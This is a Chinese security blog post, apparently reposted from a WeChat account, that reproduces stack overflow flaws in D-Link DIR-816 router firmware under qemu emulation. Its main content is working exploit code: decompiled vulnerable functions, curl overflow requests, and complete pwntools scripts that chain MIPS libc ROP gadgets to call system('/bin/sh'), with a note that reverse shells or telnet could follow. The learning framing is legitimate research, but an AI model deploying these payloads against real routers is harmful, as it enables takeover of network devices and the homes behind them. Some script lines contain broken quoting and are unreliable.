第一次接触路由器的漏洞,本文主要是漏洞复现,虽然网上没有DIR-816的栈溢出漏洞复现文章,但是有DIR-815
的栈溢出复现文章,实际上是大同小异的;路由器不能只是单单是执行system(”/bin/sh“)
,更多是调用system
执行我们写入的命令,进行开启telent
服务或者反弹shell,才能进行getshell
。但本文主要是以执行system(”/bin/sh“)
,主打验证与学习漏洞利用的过程
路由器的结构
基本上都是MIPS结构,这个结构有很多特点,例如无法开启NX
保护,流水线执行指令等等
环境搭建:
这里是用qemu
来模拟实现的,在Ubuntu
下安装qemu-mipsel
等(qemu
的mips
模拟程序
我们先用binwalk
来解压该固件:
binwalk -Me DIR-816A2_v1.10CNB03_D77137.img
定位到其中的核心程序/bin/gohead
然后利用qemu
来执行:
sudo qemu-mipsel -L ../squashfs-root/ -g 1234 ./bin/goahead
这里的../squashfs-root
是为了直接利用它原有的/lib文件夹的内容
然后-g是设置监听端口为1234
利用gdb-multiarch
来调试程序,进入之后需要对应操作:
set arch mips # 设置远程程序的架构
target remote 127.0.0.1:1234 # 远程的地址及端口
绕过点(一)
这里打开了
/var/run/goahead.pid
文件,若没有直接退出程序,所以我们在对应位置设置文件
绕过点(二)
这里会检查v16,是否是一个合法地址,这些我们需要利用调试去修改对应寄存器的值然后绕过
这里我们下断点:
b *0x045cdbc
然后利用调试设置寄存器$V0
set var $V0=0x0
然后我们就可以利用浏览器进行交互
绕过点(三)
但我们想进入路由器web操作页面,就必须先登录,在web服务器程序中用户名为空,而web页面有JS
校验,必须需要输入用户名才能进行登录校验,那么可以修改登录校验的寄存器,让其成功运行登录
定位到这个函数
formLogin
在0x4570fc
地址处下断点,修改V0
寄存器的值为0。因为此处的V0
是用户名的值,然后我们密码不输入,这样子,就可以绕过stcmp
的检测,两个值就相同了
同样利用来修改寄存器:
set var $V0=0x0
程序分析
在主页登陆抓一个包可以看到是POST /goform/formLogin
请求,所以我们在研究的时候需要着重研究goform这些用户自定义函数。
POST /goform/formLogin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/dir_login.asp
Cookie: curShow=
Upgrade-Insecure-Requests: 1
username=QWRtaW4%3D&password=&Language=Chinese&submit.htm%3Flogin.htm=Send&tokenid=1714636915
我们可以直接通过域名+/goform/
函数名进行操作
栈溢出漏洞(一)
addassignment
在这个函数中发现了栈溢出漏洞,并验证成功。
int __fastcall addassignment(int a1)
{
_BYTE *s_ip; // $s5
_BYTE *s_mac; // $s1
unsigned int v4; // $s0
BOOL s_mac_len_flags; // $v0
_BYTE *v6; // $v1
BOOL v7; // $v0
int v9; // $v0
char v10[1024]; // [sp+18h] [-400h] BYREF
memset(v10, 0, sizeof(v10));
s_ip = websGetVar(a1, "s_ip", "");
s_mac = websGetVar(a1, "s_mac", "");
v4 = 0;
while ( 1 )
{
s_mac_len_flags = v4 < strlen(s_mac); // s_mac长度是否大于0
v6 = &s_mac[v4++];
if ( !s_mac_len_flags )
break;
while ( *v6 == 45 )
{
*v6 = 58;
v7 = v4 < strlen(s_mac);
v6 = &s_mac[v4++];
if ( !v7 )
goto LABEL_5;
}
}
LABEL_5:
if ( !*s_ip || !*s_mac )
return websRedirect(a1, "lan.asp");
v9 = nvram_bufget(0);
strcpy(v10, v9);
strcat(v10, s_mac); // stack_overflow
strcat(v10, " ");
strcat(v10, s_ip); // stack_overflow
strcat(v10, "|");
nvram_bufset(0, "DhcpStaticRulesStr", v10);
nvram_commit(0);
doSystem("lan.sh");
return websRedirect(a1, "lan.asp");
}
可以看到用户可以传送s_mac
和s_ip
,并在下面使用strcat
进行拼接放入v10
,值得一提的是并没有进行大小限制,所以这里存在一个栈溢出漏洞。
curl -i -X POST http://192.168.0.1/goform/editassignment -d 's_mac=123123&s_ip=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaao' -d 's_mac=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaao'
注意这个函数对我们post上的参数有检查,网址给的是只有一个参数,我们这个需要把两个都给post上,才能通过这个检查
if ( !*s_ip || !*s_mac )
然后发现返回地址被我们覆盖了
利用len
函数计算一下长度
先构造exp如下:
from pwn import *
import requests
import os
context(arch='mips', os='linux',log_level="debug",)
def gdb_attach():
os.system('/mnt/c/Users/KaiJia/AppData/Local/Microsoft/WindowsApps/wt.exe wsl.exe gdb-multiarch -ex )
gadget = 0x0433B20
gdb_attach() # 调试
raw_input() # 绕过限制之后回车才执行后面操作
url = "http://172.20.103.206/goform/addassignment"
data_1 = b's_mac=123123&s_ip=' + b"A"*1041 + p32(gadget) # 把返回地址覆盖为gadget
requests.post(url=url,data=data_1)
我们调试一下看看是否成功覆盖:
先在这里下个断点:
然后我们跳过去
发现并没有覆盖成功,这是因为strcat
遇到x00会截停,且该函数会在复制完s_ip的字符串后加上一个“|”,加大了利用难度
此时此刻想到利用libc
地址,如果该路由器的libc
库没有开启pie
,我们就可以利用其中的gadget
,并且libc
的gadget
是四个字节,没有x00字节
我们检查一下,libc:
发现是开启的。
解决思路:
-
因为 payload
不能带有x00字符,所以我们只能用libc
的gadget
,qemu的libc地址是固定的,所以我们先调试利用断点 查看一个libc
地址,然后计算出来libc的基地址(其他博客也说,实际环境里libc的基地址也是固定的 -
然后我们利用gadget,控制 $a0
指针为指向"/bin/sh"字符串的地址,然后使$t9
为system函数地址,进行jalr $t9
跳转到system
上,即可以getshell
计算基地址
这是在调用strcpy
函数时,下了断点strcpy
的地址为0x7f75f4e
在通过pwntools
的ELF函数,我们可以得到对应没有加偏移的strcpy
地址,然后计算基地址(也可以去IDA里找,如下:)
计算得到libc的基地址为:libc_base = 0x7f714000
然后寻找gadget
,我们这里寻到了这个
这里我们只需要控制$s3
和$s1
就可以进行getshell
在漏洞函数最后,实际上是给$s1-$s5
寄存器分别从栈上取值的:
我们对应设置即可,调用,将$s3
设置为指向"/bin/sh"字符的指针,$s1
设置为指向system函数地址
最终exp如下:
from pwn import *
import requests
import os
context(arch='mips', os='linux',log_level="debug",)
def gdb_attach():
os.system('/mnt/c/Users/KaiJia/AppData/Local/Microsoft/WindowsApps/wt.exe wsl.exe gdb-multiarch -ex 'set arch mips' -ex 'target remote 127.0.0.1:1234'')
libc_base = 0x7f714000
system = 0x0047D20 + libc_base
sleep_add = 0x0053870 + libc_base
binsh = 0x0059770+libc_base
gadget_1 = 0x00437D0 + libc_base
gadget_5 = 0x001F0B8 + libc_base
gdb_attach()
raw_input()
url = "http://172.20.103.206/goform/addassignment"
data_1 = b's_mac=123123&s_ip='
data_1 += b"A"*(0x401-4)+ p32(system) + b"B"*4 + p32(binsh) + b"D"*4 + b"F"*4 + p32(gadget_5)
requests.post(url=url,data=data_1)
# p.interactive()
然后我们步进到jalr $t9
的位置
第一个参数为指向"/bin/sh"的字符串,然后调用$t9
的system
函数,然后成功getshell
但是现在但但只能执行一个"/bin/sh",需要执行其他命令,我们需要从栈里写入命令,然后使得$a0
指向栈地址
栈溢出漏洞(二)
form2IPQoSTcAdd
没有判断字符长度,导致的栈溢出漏洞,为了我们的payload
没有过多的额为字符,我们选择控制v5
变量,即downrateCeiling
参数
覆盖值需要自己调试得出,同上这里就不再重复
解决思路:
-
不同于上面的栈溢出,这里是最后加了一个";"字符,使得我们可以利用分号来实现命令执行 -
我们本质上还是控制 $a0
指针和$t9
指针,但是我们可以控制$a0
指向栈地址,我们就可以在栈上布置我们想执行的命令,然后调用system
常规方法:
利用类似于addiu $a0, $sp
的gadget
,使得$a0
指向栈上的内容,然后利用 move $t9, $s1
的gadget
,来实现调用system
找到的gadget
如下:
gadget_4 = 0x0037B58 + libc_base
'''
.text:00037B58 20 00 A4 27 addiu $a0, $sp, 0x18+arg_0
.text:00037B5C 10 00 BC 8F lw $gp, 0x18+var_8($sp)
.text:00037B60 18 00 BF 8F lw $ra, 0x18+var_s0($sp)
.text:00037B64 00 00 00 00 nop
.text:00037B68 08 00 E0 03 jr $ra
.text:00037B6C 20 00 BD 27 addiu $sp, 0x20
'''
gadget_2 = 0x00016298 + libc_base
'''
move $t9, $s1
lw $ra, 0x18+var_s8($sp)
lw $s1, 0x18+var_s4($sp)
lw $s0, 0x18+var_s0($sp)
sw $v0, 0xC($v1)
jr $t9
'''
然后我们对应布局rop即可:
from pwn import *
import requests
import os
context(arch='mips', os='linux',log_level="debug",)
def gdb_attach():
os.system('/mnt/c/Users/KaiJia/AppData/Local/Microsoft/WindowsApps/wt.exe wsl.exe gdb-multiarch -ex 'set arch mips' -ex 'target remote 127.0.0.1:1234'')
libc_base = 0x7f714000
system = 0x0047D20 + libc_base
sleep_add = 0x0053870 + libc_base
gadget_2 = 0x00016298 + libc_base
'''
move $t9, $s1
lw $ra, 0x18+var_s8($sp)
lw $s1, 0x18+var_s4($sp)
lw $s0, 0x18+var_s0($sp)
sw $v0, 0xC($v1)
jr $t9
'''
gadget_4 = 0x0037B58 + libc_base
'''
.text:00037B58 20 00 A4 27 addiu $a0, $sp, 0x18+arg_0
.text:00037B5C 10 00 BC 8F lw $gp, 0x18+var_8($sp)
.text:00037B60 18 00 BF 8F lw $ra, 0x18+var_s0($sp)
.text:00037B64 00 00 00 00 nop
.text:00037B68 08 00 E0 03 jr $ra
.text:00037B6C 20 00 BD 27 addiu $sp, 0x20
'''
gdb_attach()
raw_input()
cmd = b"/bin/sh"
url = "http://172.20.103.206/goform/form2IPQoSTcAdd"
data_1 = b"downrateCeiling=" + b"A"*(0x812) + p32(system) + b"A"*0x1c + p32(gadget_4) + b"A"*0x18 + p32(gadget_2) + b"A"*4 + b"/bin/sh;" + cmd
requests.post(url=url,data=data_1)
我们这里将$s1
为system
函数地址,然后跳转到我们gadget_4
,目的是将$a0
改为指向栈内容的地址
现在将$a0
修改成功,然后我们是move $t9,$s1,jalr $t9
,来实现调用system
然后调用,getshell
:
成功getshell
最后
没有利用shellcode
进行getshell
的原因是,不知道为啥编写出的shellcode
发送不过去,估计是有些特殊字符不能发送,反正就是奇奇怪怪,这个是我非常头疼的点,有机会一定要利用shellcode
来漏洞利用(这不比东拼西凑的gadget
强多啦)
原文始发于微信公众号(ACT Team):D-link DIR-816 路由器命令执行漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论